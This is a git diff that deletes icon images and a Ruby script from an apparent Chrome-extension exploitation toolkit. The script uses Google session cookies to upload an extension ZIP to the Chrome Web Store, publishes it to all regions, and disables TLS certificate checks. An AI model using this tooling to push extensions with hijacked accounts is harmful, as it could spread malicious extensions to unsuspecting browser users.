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 diff --git a/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/icon16.png b/tools/chrome_extensions_exploitation/webstore_uploader/test_ext/icon16.png deleted file mode 100644 index 855e228e8efed152f52cc423fc35c8a5555ff9fc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1689 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 [description_file] [screenshot_file]" - exit 1 -end - -zip_name = ARGV[0] -if zip_name == nil - help() -end -EXT_ZIP_NAME = zip_name - -mode = ARGV[1] -action = nil -if mode == nil - help() -elsif mode == "publish" - action = "publish" -elsif mode == "save" - action = "save_and_return_to_dashboard" - #action = "save" -else - help() -end -ACTION = action - -if !File.exist?(EXT_ZIP_NAME) - puts "[-] Error: #{EXT_ZIP_NAME} does not exist" - help() -end - -if ARGV[2] != nil and File.exist?(ARGV[2]) - DESCRIPTION = File.new(ARGV[2]).read() - puts "[*] Using description from #{ARGV[2]}" -else - DESCRIPTION = "" -end - -if ARGV[3] != nil and File.exist?(ARGV[3]) - SCREENSHOT_NAME = ARGV[3] - puts "[*] Using screenshot from #{SCREENSHOT_NAME}" -end - -# general get/post request handler -def request(uri, method, headers, post_body) - uri = URI(uri) - http = nil - if USE_PROXY - http = Net::HTTP.new(uri.host, uri.port, PROXY_HOST, PROXY_PORT) - else - http = Net::HTTP.new(uri.host, uri.port) - end - - http.read_timeout = HTTP_READ_OPEN_TIMEOUT - http.open_timeout = HTTP_READ_OPEN_TIMEOUT - if uri.scheme == "https" - http.use_ssl = true - http.verify_mode = OpenSSL::SSL::VERIFY_NONE - end - - request = nil - if method == "POST" - request = Net::HTTP::Post.new(uri.request_uri, headers) - if post_body.is_a?(Hash) - request.set_form_data(post_body) # post_body as in: {"key" => "value"} - else - request.body = post_body # post_body as in: {"key" => "value"} - end - else # otherwise GET - request = Net::HTTP::Get.new(uri.request_uri, headers) - end - - begin - response = http.request(request) - - case response - when Net::HTTPSuccess - then - return response - when Net::HTTPRedirection # if you get a 3xx response - then - return response - else - return nil - end - rescue SocketError => se # domain not resolved - return nil - rescue Timeout::Error => timeout # timeout in open/read - return nil - rescue Errno::ECONNREFUSED => refused # connection refused - return nil - rescue Exception => e - #puts e.message - #puts e.backtrace - return nil - end -end - -# raw request to upload the extension.zip file data -def request_octetstream(uri, headers) - file = File.new(EXT_ZIP_NAME) - - uri = URI(uri) - req = Net::HTTP::Post.new(uri.request_uri, headers) - - post_body = [] - post_body << File.read(file) - req.body = post_body.join - req["Content-Type"] = "application/octet-stream" - - http = nil - if USE_PROXY - http = Net::HTTP.new(uri.host, uri.port, PROXY_HOST, PROXY_PORT) - else - http = Net::HTTP.new(uri.host, uri.port) - end - - http.read_timeout = HTTP_READ_OPEN_TIMEOUT - http.open_timeout = HTTP_READ_OPEN_TIMEOUT - if uri.scheme == "https" - http.use_ssl = true - http.verify_mode = OpenSSL::SSL::VERIFY_NONE - end - response = http.request(req) - return response -end - -# defaults to English Language and Productivity category -def send_publish_request(uri, cx_auth_t, headers, action="publish") - - uri = URI(uri) - req = Net::HTTP::Post.new(uri.request_uri, headers) - boundary = rand(14666338978986066131776338987).to_s.center(29, rand(29).to_s) - - fields = { - "action" => action, "t" => cx_auth_t, "edit-locale" => "en_US", "desc" => DESCRIPTION, "screenshot" => SCREENSHOT_NAME, "cx-embed-box" => "", - "official_url" => "none", "homepage_url" => "", "support_url" => "", "categoryId" => "7-productivity", "tiers" => "0", "all-regions" => "1", - "cty-AR" => "1", "cty-AU" => "1", "cty-AT" => "1", "cty-BE" => "1", "cty-BR" => "1", "cty-CA" => "1", "cty-CN" => "1", - "cty-CZ" => "1", "cty-DK" => "1", "cty-EG" => "1", "cty-FI" => "1", "cty-FR" => "1", "cty-DE" => "1", "cty-HK" => "1", - "cty-IN" => "1", "cty-ID" => "1", "cty-IL" => "1", "cty-IT" => "1", "cty-JP" => "1", "cty-MY" => "1", "cty-MX" => "1", - "cty-MA" => "1", "cty-NL" => "1", "cty-NZ" => "1", "cty-NO" => "1", "cty-PH" => "1", "cty-PL" => "1", "cty-PT" => "1", - "cty-RU" => "1", "cty-SA" => "1", "cty-SG" => "1", "cty-ES" => "1", "cty-SE" => "1", "cty-CH" => "1", "cty-TW" => "1", - "cty-TH" => "1", "cty-TR" => "1", "cty-UA" => "1", "cty-AE" => "1", "cty-GB" => "1", "cty-US" => "1", "cty-VN" => "1", - "language" => "en", "openid_realm" => "", "analytics_account_id" => "", "extensionAdsBehavior" => "", "publish-destination" => "PUBLIC", - "ignore" => "true", "payment-type" => "free", "subscription-period" => "none", "logo128-image" => "", - } - - post_body = [] - post_body << "-----------------------------#{boundary}\r\n" - fields.each do |key,value| - if key == "screenshot" - # screenshot must be treated differently - post_body << "Content-Disposition: form-data; name=\"#{key}\"; filename=\"" + (value ? File.basename(value) : '' )+ "\"\r\n" - post_body << "Content-Type: application/octet-stream\r\n\r\n" - post_body << (value ? File.read(value) : '') - post_body << "\r\n" - post_body << "-----------------------------#{boundary}\r\n" - next - elsif key == "logo128-image" - post_body << "Content-Disposition: form-data; name=\"#{key}\"; filename=\"" + (ICON_NAME ? File.basename(ICON_NAME) : '') + "\"\r\n" - post_body << "Content-Type: application/octet-stream\r\n\r\n" - post_body << ICON - post_body << "\r\n" - post_body << "-----------------------------#{boundary}\r\n" - next - end - post_body << "Content-Disposition: form-data; name=\"#{key}\"\r\n" - post_body << "\r\n" - post_body << "#{value}\r\n" - if key == "logo128-image" - post_body << "-----------------------------#{boundary}--\r\n" - break - else - post_body << "-----------------------------#{boundary}\r\n" - end - end - - req.body = post_body.join - - - req["Content-Type"] = "multipart/form-data; boundary=---------------------------#{boundary}" - - http = nil - if USE_PROXY - http = Net::HTTP.new(uri.host, uri.port, PROXY_HOST, PROXY_PORT) - else - http = Net::HTTP.new(uri.host, uri.port) - end - - http.read_timeout = HTTP_READ_OPEN_TIMEOUT - http.open_timeout = HTTP_READ_OPEN_TIMEOUT - if uri.scheme == "https" - http.use_ssl = true - http.verify_mode = OpenSSL::SSL::VERIFY_NONE - end - response = http.request(req) - return response -end - -puts "[+] Reading manifest..." -Zip::File.open(EXT_ZIP_NAME) do |zip_file| - entry = zip_file.glob('manifest.json').first - manifest = JSON.parse(entry.get_input_stream.read) - ICON_NAME = manifest['icons']['128'] - puts "[+] Found icon: #{ICON_NAME}" - ICON = zip_file.glob(ICON_NAME).first.get_input_stream.read - ICON.force_encoding 'utf-8' -end - -upload_url = "https://chrome.google.com/webstore/developer/upload" -post_body = '{"protocolVersion":"0.8","createSessionRequest":{"fields":[{"external":{"name":"file","filename":'+ -'"' + File.basename(EXT_ZIP_NAME) + '","put":{},"size":' + File.new(EXT_ZIP_NAME).size.to_s + '}},{"inlined":{"name":"extension_id","content":'+ -'"null","contentType":"text/plain"}},{"inlined":{"name":"package_id","content":"main","contentType":"text/plain"}},'+ -'{"inlined":{"name":"publisher_id","content":"' + G_PUBLISHER_ID + '","contentType":"text/plain"}},'+ -'{"inlined":{"name":"language_code","content":"en-US","contentType":"text/plain"}}]}}' - -auth_headers = {'Cookie'=> "SID=#{SID}; HSID=#{HSID}; SSID=#{SSID};"} - -upload_auth_resp = request(upload_url, 'POST', auth_headers, post_body) -upload_status = JSON.parse(upload_auth_resp.body) -if upload_status['errorMessage'] == nil - upload_id = upload_status['sessionStatus']['upload_id'] - upload_url = "https://chrome.google.com/webstore/developer/upload?upload_id=#{upload_id}&file_id=000" - - puts "[+] Uploading ZIP..." - response = request_octetstream(upload_url, auth_headers) - - upload_status = JSON.parse(response.body) - if upload_status['errorMessage'] == nil && upload_status['sessionStatus']['state'] == "FINALIZED" - extension_id = upload_status['sessionStatus']['additionalInfo']['uploader_service.GoogleRupioAdditionalInfo']['completionInfo']['customerSpecificInfo']['extension_id'] - puts "[+] Extension uploaded successful. Extension ID: #{extension_id}" - - # Last request, to Publish the extension, requires Language/Category to be set. - # A multipart/form-data request is sent, but we first need to get an hidden form field "cx-action-t" value, - # then send the final multipart/form-data request with that value inside. - puts "[+] Fetching edit page..." - edit_ext_url = "https://chrome.google.com/webstore/developer/edit/#{extension_id}" - edit_ext_resp = request(edit_ext_url, 'GET', auth_headers, nil) - - cx_action_t = edit_ext_resp.body.split("id=\"cx-action-t\" name=\"t\" value=\"").last.split("\"").first - if cx_action_t.index('<') != nil # error - puts ['[-] Error: Session invalid, update cookies values'] - exit 1 - end - puts "[+] Retrieved cx-action-t hidden field value: #{cx_action_t}" - puts "[+] Sending #{ACTION} request..." - edit_ext_resp = send_publish_request(edit_ext_url, cx_action_t, auth_headers, ACTION) - - if edit_ext_resp.is_a?(Net::HTTPRedirection) - puts "[+] Extension details (category/language) updated." - final_location = edit_ext_resp['Location'] - if ACTION == 'publish' - puts "[+] Extension is in queue for publishing. URL: https://chrome.google.com#{final_location}" - else - puts "[+] Extension updated. URL: https://chrome.google.com#{final_location}" - end - else - if edit_ext_resp.body and edit_ext_resp.body.include?('Please fix the following errors:
    ') - errors = edit_ext_resp.body.split("Please fix the following errors:
      ").last.split("
    ").first.gsub(/<[^>]*>/ui,' ') - puts "[-] Errors: #{errors}" - end - puts "[-] Error updating extension details. Anyway, the extension is uploaded." - end - else - puts "[-] Error: #{upload_status['errorMessage']}" - end - -else - puts "[-] Error: #{upload_status['errorMessage']}" -end